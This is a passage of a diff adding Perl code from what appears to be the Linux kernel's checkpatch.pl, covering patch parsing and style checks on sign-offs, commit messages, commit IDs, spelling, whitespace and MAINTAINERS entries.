+			    $rawlines[$linenr] =~ m@^.\s*(?:\*\*+| \*)(?:\s|$)@)
+			{
+				$in_comment = 1;
+			}
+
+			##print "COMMENT:$in_comment edge<$edge> $rawline\n";
+			sanitise_line_reset($in_comment);
+
+		} elsif ($realcnt && $rawline =~ /^(?:\+| |$)/) {
+			# Standardise the strings and chars within the input to
+			# simplify matching -- only bother with positive lines.
+			$line = sanitise_line($rawline);
+		}
+		push(@lines, $line);
+
+		if ($realcnt > 1) {
+			$realcnt-- if ($line =~ /^(?:\+| |$)/);
+		} else {
+			$realcnt = 0;
+		}
+
+		#print "==>$rawline\n";
+		#print "-->$line\n";
+
+		if ($setup_docs && $line =~ /^\+/) {
+			push(@setup_docs, $line);
+		}
+	}
+
+	$prefix = '';
+
+	$realcnt = 0;
+	$linenr = 0;
+	$fixlinenr = -1;
+	foreach my $line (@lines) {
+		$linenr++;
+		$fixlinenr++;
+		my $sline = $line;	#copy of $line
+		$sline =~ s/$;/ /g;	#with comments as spaces
+
+		my $rawline = $rawlines[$linenr - 1];
+		my $raw_comment = get_raw_comment($line, $rawline);
+
+# check if it's a mode change, rename or start of a patch
+		if (!$in_commit_log &&
+		    ($line =~ /^ mode change [0-7]+ => [0-7]+ \S+\s*$/ ||
+		    ($line =~ /^rename (?:from|to) \S+\s*$/ ||
+		     $line =~ /^diff --git a\/[\w\/\.\_\-]+ b\/\S+\s*$/))) {
+			$is_patch = 1;
+		}
+
+#extract the line range in the file after the patch is applied
+		if (!$in_commit_log &&
+		    $line =~ /^\@\@ -\d+(?:,\d+)? \+(\d+)(,(\d+))? \@\@(.*)/) {
+			my $context = $4;
+			$is_patch = 1;
+			$first_line = $linenr + 1;
+			$realline=$1-1;
+			if (defined $2) {
+				$realcnt=$3+1;
+			} else {
+				$realcnt=1+1;
+			}
+			annotate_reset();
+			$prev_values = 'E';
+
+			%suppress_ifbraces = ();
+			%suppress_whiletrailers = ();
+			%suppress_export = ();
+			$suppress_statement = 0;
+			if ($context =~ /\b(\w+)\s*\(/) {
+				$context_function = $1;
+			} else {
+				undef $context_function;
+			}
+			next;
+
+# track the line number as we move through the hunk, note that
+# new versions of GNU diff omit the leading space on completely
+# blank context lines so we need to count that too.
+		} elsif ($line =~ /^( |\+|$)/) {
+			$realline++;
+			$realcnt-- if ($realcnt != 0);
+
+			# Measure the line length and indent.
+			($length, $indent) = line_stats($rawline);
+
+			# Track the previous line.
+			($prevline, $stashline) = ($stashline, $line);
+			($previndent, $stashindent) = ($stashindent, $indent);
+			($prevrawline, $stashrawline) = ($stashrawline, $rawline);
+
+			#warn "line<$line>\n";
+
+		} elsif ($realcnt == 1) {
+			$realcnt--;
+		}
+
+		my $hunk_line = ($realcnt != 0);
+
+		$here = "#$linenr: " if (!$file);
+		$here = "#$realline: " if ($file);
+
+		my $found_file = 0;
+		# extract the filename as it passes
+		if ($line =~ /^diff --git.*?(\S+)$/) {
+			$realfile = $1;
+			$realfile =~ s@^([^/]*)/@@ if (!$file);
+			$in_commit_log = 0;
+			$found_file = 1;
+		} elsif ($line =~ /^\+\+\+\s+(\S+)/) {
+			$realfile = $1;
+			$realfile =~ s@^([^/]*)/@@ if (!$file);
+			$in_commit_log = 0;
+
+			$p1_prefix = $1;
+			if (!$file && $tree && $p1_prefix ne '' &&
+			    -e "$root/$p1_prefix") {
+				WARN("PATCH_PREFIX",
+				     "patch prefix '$p1_prefix' exists, appears to be a -p0 patch\n");
+			}
+
+			if ($realfile =~ m@^include/asm/@) {
+				ERROR("MODIFIED_INCLUDE_ASM",
+				      "do not modify files in include/asm, change architecture specific files in include/asm-<architecture>\n" . "$here$rawline\n");
+			}
+			$found_file = 1;
+		}
+
+#make up the handle for any error we report on this line
+		if ($showfile) {
+			$prefix = "$realfile:$realline: "
+		} elsif ($emacs) {
+			if ($file) {
+				$prefix = "$filename:$realline: ";
+			} else {
+				$prefix = "$filename:$linenr: ";
+			}
+		}
+
+		if ($found_file) {
+			if (is_maintained_obsolete($realfile)) {
+				WARN("OBSOLETE",
+				     "$realfile is marked as 'obsolete' in the MAINTAINERS hierarchy.  No unnecessary modifications please.\n");
+			}
+			if ($realfile =~ m@^(?:drivers/net/|net/|drivers/staging/)@) {
+				$check = 1;
+			} else {
+				$check = $check_orig;
+			}
+			$checklicenseline = 1;
+
+			if ($realfile !~ /^MAINTAINERS/) {
+				my $last_binding_patch = $is_binding_patch;
+
+				$is_binding_patch = () = $realfile =~ m@^(?:Documentation/devicetree/|include/dt-bindings/)@;
+
+				if (($last_binding_patch != -1) &&
+				    ($last_binding_patch ^ $is_binding_patch)) {
+					WARN("DT_SPLIT_BINDING_PATCH",
+					     "DT binding docs and includes should be a separate patch. See: Documentation/devicetree/bindings/submitting-patches.rst\n");
+				}
+			}
+
+			next;
+		}
+
+		$here .= "FILE: $realfile:$realline:" if ($realcnt != 0);
+
+		my $hereline = "$here\n$rawline\n";
+		my $herecurr = "$here\n$rawline\n";
+		my $hereprev = "$here\n$prevrawline\n$rawline\n";
+
+		$cnt_lines++ if ($realcnt != 0);
+
+# Verify the existence of a commit log if appropriate
+# 2 is used because a $signature is counted in $commit_log_lines
+		if ($in_commit_log) {
+			if ($line !~ /^\s*$/) {
+				$commit_log_lines++;	#could be a $signature
+			}
+		} elsif ($has_commit_log && $commit_log_lines < 2) {
+			WARN("COMMIT_MESSAGE",
+			     "Missing commit description - Add an appropriate one\n");
+			$commit_log_lines = 2;	#warn only once
+		}
+
+# Check if the commit log has what seems like a diff which can confuse patch
+		if ($in_commit_log && !$commit_log_has_diff &&
+		    (($line =~ m@^\s+diff\b.*a/([\w/]+)@ &&
+		      $line =~ m@^\s+diff\b.*a/[\w/]+\s+b/$1\b@) ||
+		     $line =~ m@^\s*(?:\-\-\-\s+a/|\+\+\+\s+b/)@ ||
+		     $line =~ m/^\s*\@\@ \-\d+,\d+ \+\d+,\d+ \@\@/)) {
+			ERROR("DIFF_IN_COMMIT_MSG",
+			      "Avoid using diff content in the commit message - patch(1) might not work\n" . $herecurr);
+			$commit_log_has_diff = 1;
+		}
+
+# Check for incorrect file permissions
+		if ($line =~ /^new (file )?mode.*[7531]\d{0,2}$/) {
+			my $permhere = $here . "FILE: $realfile\n";
+			if ($realfile !~ m@scripts/@ &&
+			    $realfile !~ /\.(py|pl|awk|sh)$/) {
+				ERROR("EXECUTE_PERMISSIONS",
+				      "do not set execute permissions for source files\n" . $permhere);
+			}
+		}
+
+# Check the patch for a From:
+		if (decode("MIME-Header", $line) =~ /^From:\s*(.*)/) {
+			$author = $1;
+			my $curline = $linenr;
+			while(defined($rawlines[$curline]) && ($rawlines[$curline++] =~ /^[ \t]\s*(.*)/)) {
+				$author .= $1;
+			}
+			$author = encode("utf8", $author) if ($line =~ /=\?utf-8\?/i);
+			$author =~ s/"//g;
+			$author = reformat_email($author);
+		}
+
+# Check the patch for a signoff:
+		if ($line =~ /^\s*signed-off-by:\s*(.*)/i) {
+			$signoff++;
+			$in_commit_log = 0;
+			if ($author ne ''  && $authorsignoff != 1) {
+				if (same_email_addresses($1, $author)) {
+					$authorsignoff = 1;
+				} else {
+					my $ctx = $1;
+					my ($email_name, $email_comment, $email_address, $comment1) = parse_email($ctx);
+					my ($author_name, $author_comment, $author_address, $comment2) = parse_email($author);
+
+					if (lc $email_address eq lc $author_address && $email_name eq $author_name) {
+						$author_sob = $ctx;
+						$authorsignoff = 2;
+					} elsif (lc $email_address eq lc $author_address) {
+						$author_sob = $ctx;
+						$authorsignoff = 3;
+					} elsif ($email_name eq $author_name) {
+						$author_sob = $ctx;
+						$authorsignoff = 4;
+
+						my $address1 = $email_address;
+						my $address2 = $author_address;
+
+						if ($address1 =~ /(\S+)\+\S+(\@.*)/) {
+							$address1 = "$1$2";
+						}
+						if ($address2 =~ /(\S+)\+\S+(\@.*)/) {
+							$address2 = "$1$2";
+						}
+						if ($address1 eq $address2) {
+							$authorsignoff = 5;
+						}
+					}
+				}
+			}
+		}
+
+# Check for patch separator
+		if ($line =~ /^---$/) {
+			$has_patch_separator = 1;
+			$in_commit_log = 0;
+		}
+
+# Check if MAINTAINERS is being updated.  If so, there's probably no need to
+# emit the "does MAINTAINERS need updating?" message on file add/move/delete
+		if ($line =~ /^\s*MAINTAINERS\s*\|/) {
+			$reported_maintainer_file = 1;
+		}
+
+# Check signature styles
+		if (!$in_header_lines &&
+		    $line =~ /^(\s*)([a-z0-9_-]+by:|$signature_tags)(\s*)(.*)/i) {
+			my $space_before = $1;
+			my $sign_off = $2;
+			my $space_after = $3;
+			my $email = $4;
+			my $ucfirst_sign_off = ucfirst(lc($sign_off));
+
+			if ($sign_off !~ /$signature_tags/) {
+				my $suggested_signature = find_standard_signature($sign_off);
+				if ($suggested_signature eq "") {
+					WARN("BAD_SIGN_OFF",
+					     "Non-standard signature: $sign_off\n" . $herecurr);
+				} else {
+					if (WARN("BAD_SIGN_OFF",
+						 "Non-standard signature: '$sign_off' - perhaps '$suggested_signature'?\n" . $herecurr) &&
+					    $fix) {
+						$fixed[$fixlinenr] =~ s/$sign_off/$suggested_signature/;
+					}
+				}
+			}
+			if (defined $space_before && $space_before ne "") {
+				if (WARN("BAD_SIGN_OFF",
+					 "Do not use whitespace before $ucfirst_sign_off\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =
+					    "$ucfirst_sign_off $email";
+				}
+			}
+			if ($sign_off =~ /-by:$/i && $sign_off ne $ucfirst_sign_off) {
+				if (WARN("BAD_SIGN_OFF",
+					 "'$ucfirst_sign_off' is the preferred signature form\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =
+					    "$ucfirst_sign_off $email";
+				}
+
+			}
+			if (!defined $space_after || $space_after ne " ") {
+				if (WARN("BAD_SIGN_OFF",
+					 "Use a single space after $ucfirst_sign_off\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =
+					    "$ucfirst_sign_off $email";
+				}
+			}
+
+			my ($email_name, $name_comment, $email_address, $comment) = parse_email($email);
+			my $suggested_email = format_email(($email_name, $name_comment, $email_address, $comment));
+			if ($suggested_email eq "") {
+				ERROR("BAD_SIGN_OFF",
+				      "Unrecognized email address: '$email'\n" . $herecurr);
+			} else {
+				my $dequoted = $suggested_email;
+				$dequoted =~ s/^"//;
+				$dequoted =~ s/" </ </;
+				# Don't force email to have quotes
+				# Allow just an angle bracketed address
+				if (!same_email_addresses($email, $suggested_email)) {
+					if (WARN("BAD_SIGN_OFF",
+						 "email address '$email' might be better as '$suggested_email'\n" . $herecurr) &&
+					    $fix) {
+						$fixed[$fixlinenr] =~ s/\Q$email\E/$suggested_email/;
+					}
+				}
+
+				# Address part shouldn't have comments
+				my $stripped_address = $email_address;
+				$stripped_address =~ s/\([^\(\)]*\)//g;
+				if ($email_address ne $stripped_address) {
+					if (WARN("BAD_SIGN_OFF",
+						 "address part of email should not have comments: '$email_address'\n" . $herecurr) &&
+					    $fix) {
+						$fixed[$fixlinenr] =~ s/\Q$email_address\E/$stripped_address/;
+					}
+				}
+
+				# Only one name comment should be allowed
+				my $comment_count = () = $name_comment =~ /\([^\)]+\)/g;
+				if ($comment_count > 1) {
+					WARN("BAD_SIGN_OFF",
+					     "Use a single name comment in email: '$email'\n" . $herecurr);
+				}
+
+
+				# stable@vger.kernel.org or stable@kernel.org shouldn't
+				# have an email name. In addition comments should strictly
+				# begin with a #
+				if ($email =~ /^.*stable\@(?:vger\.)?kernel\.org/i) {
+					if (($comment ne "" && $comment !~ /^#.+/) ||
+					    ($email_name ne "")) {
+						my $cur_name = $email_name;
+						my $new_comment = $comment;
+						$cur_name =~ s/[a-zA-Z\s\-\"]+//g;
+
+						# Remove brackets enclosing comment text
+						# and # from start of comments to get comment text
+						$new_comment =~ s/^\((.*)\)$/$1/;
+						$new_comment =~ s/^\[(.*)\]$/$1/;
+						$new_comment =~ s/^[\s\#]+|\s+$//g;
+
+						$new_comment = trim("$new_comment $cur_name") if ($cur_name ne $new_comment);
+						$new_comment = " # $new_comment" if ($new_comment ne "");
+						my $new_email = "$email_address$new_comment";
+
+						if (WARN("BAD_STABLE_ADDRESS_STYLE",
+							 "Invalid email format for stable: '$email', prefer '$new_email'\n" . $herecurr) &&
+						    $fix) {
+							$fixed[$fixlinenr] =~ s/\Q$email\E/$new_email/;
+						}
+					}
+				} elsif ($comment ne "" && $comment !~ /^(?:#.+|\(.+\))$/) {
+					my $new_comment = $comment;
+
+					# Extract comment text from within brackets or
+					# c89 style /*...*/ comments
+					$new_comment =~ s/^\[(.*)\]$/$1/;
+					$new_comment =~ s/^\/\*(.*)\*\/$/$1/;
+
+					$new_comment = trim($new_comment);
+					$new_comment =~ s/^[^\w]$//; # Single lettered comment with non word character is usually a typo
+					$new_comment = "($new_comment)" if ($new_comment ne "");
+					my $new_email = format_email($email_name, $name_comment, $email_address, $new_comment);
+
+					if (WARN("BAD_SIGN_OFF",
+						 "Unexpected content after email: '$email', should be: '$new_email'\n" . $herecurr) &&
+					    $fix) {
+						$fixed[$fixlinenr] =~ s/\Q$email\E/$new_email/;
+					}
+				}
+			}
+
+# Check for duplicate signatures
+			my $sig_nospace = $line;
+			$sig_nospace =~ s/\s//g;
+			$sig_nospace = lc($sig_nospace);
+			if (defined $signatures{$sig_nospace}) {
+				WARN("BAD_SIGN_OFF",
+				     "Duplicate signature\n" . $herecurr);
+			} else {
+				$signatures{$sig_nospace} = 1;
+			}
+
+# Check Co-developed-by: immediately followed by Signed-off-by: with same name and email
+			if ($sign_off =~ /^co-developed-by:$/i) {
+				if ($email eq $author) {
+					WARN("BAD_SIGN_OFF",
+					      "Co-developed-by: should not be used to attribute nominal patch author '$author'\n" . "$here\n" . $rawline);
+				}
+				if (!defined $lines[$linenr]) {
+					WARN("BAD_SIGN_OFF",
+					     "Co-developed-by: must be immediately followed by Signed-off-by:\n" . "$here\n" . $rawline);
+				} elsif ($rawlines[$linenr] !~ /^\s*signed-off-by:\s*(.*)/i) {
+					WARN("BAD_SIGN_OFF",
+					     "Co-developed-by: must be immediately followed by Signed-off-by:\n" . "$here\n" . $rawline . "\n" .$rawlines[$linenr]);
+				} elsif ($1 ne $email) {
+					WARN("BAD_SIGN_OFF",
+					     "Co-developed-by and Signed-off-by: name/email do not match \n" . "$here\n" . $rawline . "\n" .$rawlines[$linenr]);
+				}
+			}
+		}
+
+# Check email subject for common tools that don't need to be mentioned
+		if ($in_header_lines &&
+		    $line =~ /^Subject:.*\b(?:checkpatch|sparse|smatch)\b[^:]/i) {
+			WARN("EMAIL_SUBJECT",
+			     "A patch subject line should describe the change not the tool that found it\n" . $herecurr);
+		}
+
+# Check for Gerrit Change-Ids not in any patch context
+		if ($realfile eq '' && !$has_patch_separator && $line =~ /^\s*change-id:/i) {
+			if (ERROR("GERRIT_CHANGE_ID",
+			          "Remove Gerrit Change-Id's before submitting upstream\n" . $herecurr) &&
+			    $fix) {
+				fix_delete_line($fixlinenr, $rawline);
+			}
+		}
+
+# Check if the commit log is in a possible stack dump
+		if ($in_commit_log && !$commit_log_possible_stack_dump &&
+		    ($line =~ /^\s*(?:WARNING:|BUG:)/ ||
+		     $line =~ /^\s*\[\s*\d+\.\d{6,6}\s*\]/ ||
+					# timestamp
+		     $line =~ /^\s*\[\<[0-9a-fA-F]{8,}\>\]/) ||
+		     $line =~ /^(?:\s+\w+:\s+[0-9a-fA-F]+){3,3}/ ||
+		     $line =~ /^\s*\#\d+\s*\[[0-9a-fA-F]+\]\s*\w+ at [0-9a-fA-F]+/) {
+					# stack dump address styles
+			$commit_log_possible_stack_dump = 1;
+		}
+
+# Check for line lengths > 75 in commit log, warn once
+		if ($in_commit_log && !$commit_log_long_line &&
+		    length($line) > 75 &&
+		    !($line =~ /^\s*[a-zA-Z0-9_\/\.]+\s+\|\s+\d+/ ||
+					# file delta changes
+		      $line =~ /^\s*(?:[\w\.\-]+\/)++[\w\.\-]+:/ ||
+					# filename then :
+		      $line =~ /^\s*(?:Fixes:|Link:|$signature_tags)/i ||
+					# A Fixes: or Link: line or signature tag line
+		      $commit_log_possible_stack_dump)) {
+			WARN("COMMIT_LOG_LONG_LINE",
+			     "Possible unwrapped commit description (prefer a maximum 75 chars per line)\n" . $herecurr);
+			$commit_log_long_line = 1;
+		}
+
+# Reset possible stack dump if a blank line is found
+		if ($in_commit_log && $commit_log_possible_stack_dump &&
+		    $line =~ /^\s*$/) {
+			$commit_log_possible_stack_dump = 0;
+		}
+
+# Check for lines starting with a #
+		if ($in_commit_log && $line =~ /^#/) {
+			if (WARN("COMMIT_COMMENT_SYMBOL",
+				 "Commit log lines starting with '#' are dropped by git as comments\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/^/ /;
+			}
+		}
+
+# Check for git id commit length and improperly formed commit descriptions
+# A correctly formed commit description is:
+#    commit <SHA-1 hash length 12+ chars> ("Complete commit subject")
+# with the commit subject '("' prefix and '")' suffix
+# This is a fairly compilicated block as it tests for what appears to be
+# bare SHA-1 hash with  minimum length of 5.  It also avoids several types of
+# possible SHA-1 matches.
+# A commit match can span multiple lines so this block attempts to find a
+# complete typical commit on a maximum of 3 lines
+		if ($perl_version_ok &&
+		    $in_commit_log && !$commit_log_possible_stack_dump &&
+		    $line !~ /^\s*(?:Link|Patchwork|http|https|BugLink|base-commit):/i &&
+		    $line !~ /^This reverts commit [0-9a-f]{7,40}/ &&
+		    (($line =~ /\bcommit\s+[0-9a-f]{5,}\b/i ||
+		      ($line =~ /\bcommit\s*$/i && defined($rawlines[$linenr]) && $rawlines[$linenr] =~ /^\s*[0-9a-f]{5,}\b/i)) ||
+		     ($line =~ /(?:\s|^)[0-9a-f]{12,40}(?:[\s"'\(\[]|$)/i &&
+		      $line !~ /[\<\[][0-9a-f]{12,40}[\>\]]/i &&
+		      $line !~ /\bfixes:\s*[0-9a-f]{12,40}/i))) {
+			my $init_char = "c";
+			my $orig_commit = "";
+			my $short = 1;
+			my $long = 0;
+			my $case = 1;
+			my $space = 1;
+			my $id = '0123456789ab';
+			my $orig_desc = "commit description";
+			my $description = "";
+			my $herectx = $herecurr;
+			my $has_parens = 0;
+			my $has_quotes = 0;
+
+			my $input = $line;
+			if ($line =~ /(?:\bcommit\s+[0-9a-f]{5,}|\bcommit\s*$)/i) {
+				for (my $n = 0; $n < 2; $n++) {
+					if ($input =~ /\bcommit\s+[0-9a-f]{5,}\s*($balanced_parens)/i) {
+						$orig_desc = $1;
+						$has_parens = 1;
+						# Always strip leading/trailing parens then double quotes if existing
+						$orig_desc = substr($orig_desc, 1, -1);
+						if ($orig_desc =~ /^".*"$/) {
+							$orig_desc = substr($orig_desc, 1, -1);
+							$has_quotes = 1;
+						}
+						last;
+					}
+					last if ($#lines < $linenr + $n);
+					$input .= " " . trim($rawlines[$linenr + $n]);
+					$herectx .= "$rawlines[$linenr + $n]\n";
+				}
+				$herectx = $herecurr if (!$has_parens);
+			}
+
+			if ($input =~ /\b(c)ommit\s+([0-9a-f]{5,})\b/i) {
+				$init_char = $1;
+				$orig_commit = lc($2);
+				$short = 0 if ($input =~ /\bcommit\s+[0-9a-f]{12,40}/i);
+				$long = 1 if ($input =~ /\bcommit\s+[0-9a-f]{41,}/i);
+				$space = 0 if ($input =~ /\bcommit [0-9a-f]/i);
+				$case = 0 if ($input =~ /\b[Cc]ommit\s+[0-9a-f]{5,40}[^A-F]/);
+			} elsif ($input =~ /\b([0-9a-f]{12,40})\b/i) {
+				$orig_commit = lc($1);
+			}
+
+			($id, $description) = git_commit_info($orig_commit,
+							      $id, $orig_desc);
+
+			if (defined($id) &&
+			    ($short || $long || $space || $case || ($orig_desc ne $description) || !$has_quotes) &&
+			    $last_git_commit_id_linenr != $linenr - 1) {
+				ERROR("GIT_COMMIT_ID",
+				      "Please use git commit description style 'commit <12+ chars of sha1> (\"<title line>\")' - ie: '${init_char}ommit $id (\"$description\")'\n" . $herectx);
+			}
+			#don't report the next line if this line ends in commit and the sha1 hash is the next line
+			$last_git_commit_id_linenr = $linenr if ($line =~ /\bcommit\s*$/i);
+		}
+
+# Check for added, moved or deleted files
+		if (!$reported_maintainer_file && !$in_commit_log &&
+		    ($line =~ /^(?:new|deleted) file mode\s*\d+\s*$/ ||
+		     $line =~ /^rename (?:from|to) [\w\/\.\-]+\s*$/ ||
+		     ($line =~ /\{\s*([\w\/\.\-]*)\s*\=\>\s*([\w\/\.\-]*)\s*\}/ &&
+		      (defined($1) || defined($2))))) {
+			$is_patch = 1;
+			$reported_maintainer_file = 1;
+			WARN("FILE_PATH_CHANGES",
+			     "added, moved or deleted file(s), does MAINTAINERS need updating?\n" . $herecurr);
+		}
+
+# Check for adding new DT bindings not in schema format
+		if (!$in_commit_log &&
+		    ($line =~ /^new file mode\s*\d+\s*$/) &&
+		    ($realfile =~ m@^Documentation/devicetree/bindings/.*\.txt$@)) {
+			WARN("DT_SCHEMA_BINDING_PATCH",
+			     "DT bindings should be in DT schema format. See: Documentation/devicetree/bindings/writing-schema.rst\n");
+		}
+
+# Check for wrappage within a valid hunk of the file
+		if ($realcnt != 0 && $line !~ m{^(?:\+|-| |\\ No newline|$)}) {
+			ERROR("CORRUPTED_PATCH",
+			      "patch seems to be corrupt (line wrapped?)\n" .
+				$herecurr) if (!$emitted_corrupt++);
+		}
+
+# UTF-8 regex found at http://www.w3.org/International/questions/qa-forms-utf-8.en.php
+		if (($realfile =~ /^$/ || $line =~ /^\+/) &&
+		    $rawline !~ m/^$UTF8*$/) {
+			my ($utf8_prefix) = ($rawline =~ /^($UTF8*)/);
+
+			my $blank = copy_spacing($rawline);
+			my $ptr = substr($blank, 0, length($utf8_prefix)) . "^";
+			my $hereptr = "$hereline$ptr\n";
+
+			CHK("INVALID_UTF8",
+			    "Invalid UTF-8, patch and commit message should be encoded in UTF-8\n" . $hereptr);
+		}
+
+# Check if it's the start of a commit log
+# (not a header line and we haven't seen the patch filename)
+		if ($in_header_lines && $realfile =~ /^$/ &&
+		    !($rawline =~ /^\s+(?:\S|$)/ ||
+		      $rawline =~ /^(?:commit\b|from\b|[\w-]+:)/i)) {
+			$in_header_lines = 0;
+			$in_commit_log = 1;
+			$has_commit_log = 1;
+		}
+
+# Check if there is UTF-8 in a commit log when a mail header has explicitly
+# declined it, i.e defined some charset where it is missing.
+		if ($in_header_lines &&
+		    $rawline =~ /^Content-Type:.+charset="(.+)".*$/ &&
+		    $1 !~ /utf-8/i) {
+			$non_utf8_charset = 1;
+		}
+
+		if ($in_commit_log && $non_utf8_charset && $realfile =~ /^$/ &&
+		    $rawline =~ /$NON_ASCII_UTF8/) {
+			WARN("UTF8_BEFORE_PATCH",
+			    "8-bit UTF-8 used in possible commit log\n" . $herecurr);
+		}
+
+# Check for absolute kernel paths in commit message
+		if ($tree && $in_commit_log) {
+			while ($line =~ m{(?:^|\s)(/\S*)}g) {
+				my $file = $1;
+
+				if ($file =~ m{^(.*?)(?::\d+)+:?$} &&
+				    check_absolute_file($1, $herecurr)) {
+					#
+				} else {
+					check_absolute_file($file, $herecurr);
+				}
+			}
+		}
+
+# Check for various typo / spelling mistakes
+		if (defined($misspellings) &&
+		    ($in_commit_log || $line =~ /^(?:\+|Subject:)/i)) {
+			while ($rawline =~ /(?:^|[^\w\-'`])($misspellings)(?:[^\w\-'`]|$)/gi) {
+				my $typo = $1;
+				my $blank = copy_spacing($rawline);
+				my $ptr = substr($blank, 0, $-[1]) . "^" x length($typo);
+				my $hereptr = "$hereline$ptr\n";
+				my $typo_fix = $spelling_fix{lc($typo)};
+				$typo_fix = ucfirst($typo_fix) if ($typo =~ /^[A-Z]/);
+				$typo_fix = uc($typo_fix) if ($typo =~ /^[A-Z]+$/);
+				my $msg_level = \&WARN;
+				$msg_level = \&CHK if ($file);
+				if (&{$msg_level}("TYPO_SPELLING",
+						  "'$typo' may be misspelled - perhaps '$typo_fix'?\n" . $hereptr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =~ s/(^|[^A-Za-z@])($typo)($|[^A-Za-z@])/$1$typo_fix$3/;
+				}
+			}
+		}
+
+# check for invalid commit id
+		if ($in_commit_log && $line =~ /(^fixes:|\bcommit)\s+([0-9a-f]{6,40})\b/i) {
+			my $id;
+			my $description;
+			($id, $description) = git_commit_info($2, undef, undef);
+			if (!defined($id)) {
+				WARN("UNKNOWN_COMMIT_ID",
+				     "Unknown commit id '$2', maybe rebased or not pulled?\n" . $herecurr);
+			}
+		}
+
+# check for repeated words separated by a single space
+# avoid false positive from list command eg, '-rw-r--r-- 1 root root'
+		if (($rawline =~ /^\+/ || $in_commit_log) &&
+		    $rawline !~ /[bcCdDlMnpPs\?-][rwxsStT-]{9}/) {
+			pos($rawline) = 1 if (!$in_commit_log);
+			while ($rawline =~ /\b($word_pattern) (?=($word_pattern))/g) {
+
+				my $first = $1;
+				my $second = $2;
+				my $start_pos = $-[1];
+				my $end_pos = $+[2];
+				if ($first =~ /(?:struct|union|enum)/) {
+					pos($rawline) += length($first) + length($second) + 1;
+					next;
+				}
+
+				next if (lc($first) ne lc($second));
+				next if ($first eq 'long');
+
+				# check for character before and after the word matches
+				my $start_char = '';
+				my $end_char = '';
+				$start_char = substr($rawline, $start_pos - 1, 1) if ($start_pos > ($in_commit_log ? 0 : 1));
+				$end_char = substr($rawline, $end_pos, 1) if ($end_pos < length($rawline));
+
+				next if ($start_char =~ /^\S$/);
+				next if (index(" \t.,;?!", $end_char) == -1);
+
+				# avoid repeating hex occurrences like 'ff ff fe 09 ...'
+				if ($first =~ /\b[0-9a-f]{2,}\b/i) {
+					next if (!exists($allow_repeated_words{lc($first)}));
+				}
+
+				if (WARN("REPEATED_WORD",
+					 "Possible repeated word: '$first'\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =~ s/\b$first $second\b/$first/;
+				}
+			}
+
+			# if it's a repeated word on consecutive lines in a comment block
+			if ($prevline =~ /$;+\s*$/ &&
+			    $prevrawline =~ /($word_pattern)\s*$/) {
+				my $last_word = $1;
+				if ($rawline =~ /^\+\s*\*\s*$last_word /) {
+					if (WARN("REPEATED_WORD",
+						 "Possible repeated word: '$last_word'\n" . $hereprev) &&
+					    $fix) {
+						$fixed[$fixlinenr] =~ s/(\+\s*\*\s*)$last_word /$1/;
+					}
+				}
+			}
+		}
+
+# ignore non-hunk lines and lines being removed
+		next if (!$hunk_line || $line =~ /^-/);
+
+#trailing whitespace
+		if ($line =~ /^\+.*\015/) {
+			my $herevet = "$here\n" . cat_vet($rawline) . "\n";
+			if (ERROR("DOS_LINE_ENDINGS",
+				  "DOS line endings\n" . $herevet) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/[\s\015]+$//;
+			}
+		} elsif ($rawline =~ /^\+.*\S\s+$/ || $rawline =~ /^\+\s+$/) {
+			my $herevet = "$here\n" . cat_vet($rawline) . "\n";
+			if (ERROR("TRAILING_WHITESPACE",
+				  "trailing whitespace\n" . $herevet) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\s+$//;
+			}
+
+			$rpt_cleaners = 1;
+		}
+
+# Check for FSF mailing addresses.
+		if ($rawline =~ /\bwrite to the Free/i ||
+		    $rawline =~ /\b675\s+Mass\s+Ave/i ||
+		    $rawline =~ /\b59\s+Temple\s+Pl/i ||
+		    $rawline =~ /\b51\s+Franklin\s+St/i) {
+			my $herevet = "$here\n" . cat_vet($rawline) . "\n";
+			my $msg_level = \&ERROR;
+			$msg_level = \&CHK if ($file);
+			&{$msg_level}("FSF_MAILING_ADDRESS",
+				      "Do not include the paragraph about writing to the Free Software Foundation's mailing address from the sample GPL notice. The FSF has changed addresses in the past, and may do so again. Linux already includes a copy of the GPL.\n" . $herevet)
+		}
+
+# check for Kconfig help text having a real description
+# Only applies when adding the entry originally, after that we do not have
+# sufficient context to determine whether it is indeed long enough.
+		if ($realfile =~ /Kconfig/ &&
+		    # 'choice' is usually the last thing on the line (though
+		    # Kconfig supports named choices), so use a word boundary
+		    # (\b) rather than a whitespace character (\s)
+		    $line =~ /^\+\s*(?:config|menuconfig|choice)\b/) {
+			my $length = 0;
+			my $cnt = $realcnt;
+			my $ln = $linenr + 1;
+			my $f;
+			my $is_start = 0;
+			my $is_end = 0;
+			for (; $cnt > 0 && defined $lines[$ln - 1]; $ln++) {
+				$f = $lines[$ln - 1];
+				$cnt-- if ($lines[$ln - 1] !~ /^-/);
+				$is_end = $lines[$ln - 1] =~ /^\+/;
+
+				next if ($f =~ /^-/);
+				last if (!$file && $f =~ /^\@\@/);
+
+				if ($lines[$ln - 1] =~ /^\+\s*(?:bool|tristate|prompt)\s*["']/) {
+					$is_start = 1;
+				} elsif ($lines[$ln - 1] =~ /^\+\s*(?:---)?help(?:---)?$/) {
+					$length = -1;
+				}
+
+				$f =~ s/^.//;
+				$f =~ s/#.*//;
+				$f =~ s/^\s+//;
+				next if ($f =~ /^$/);
+
+				# This only checks context lines in the patch
+				# and so hopefully shouldn't trigger false
+				# positives, even though some of these are
+				# common words in help texts
+				if ($f =~ /^\s*(?:config|menuconfig|choice|endchoice|
+						  if|endif|menu|endmenu|source)\b/x) {
+					$is_end = 1;
+					last;
+				}
+				$length++;
+			}
+			if ($is_start && $is_end && $length < $min_conf_desc_length) {
+				WARN("CONFIG_DESCRIPTION",
+				     "please write a paragraph that describes the config symbol fully\n" . $herecurr);
+			}
+			#print "is_start<$is_start> is_end<$is_end> length<$length>\n";
+		}
+
+# check MAINTAINERS entries
+		if ($realfile =~ /^MAINTAINERS$/) {
+# check MAINTAINERS entries for the right form
+			if ($rawline =~ /^\+[A-Z]:/ &&
+			    $rawline !~ /^\+[A-Z]:\t\S/) {
+				if (WARN("MAINTAINERS_STYLE",
+					 "MAINTAINERS entries use one tab after TYPE:\n" . $herecurr) &&
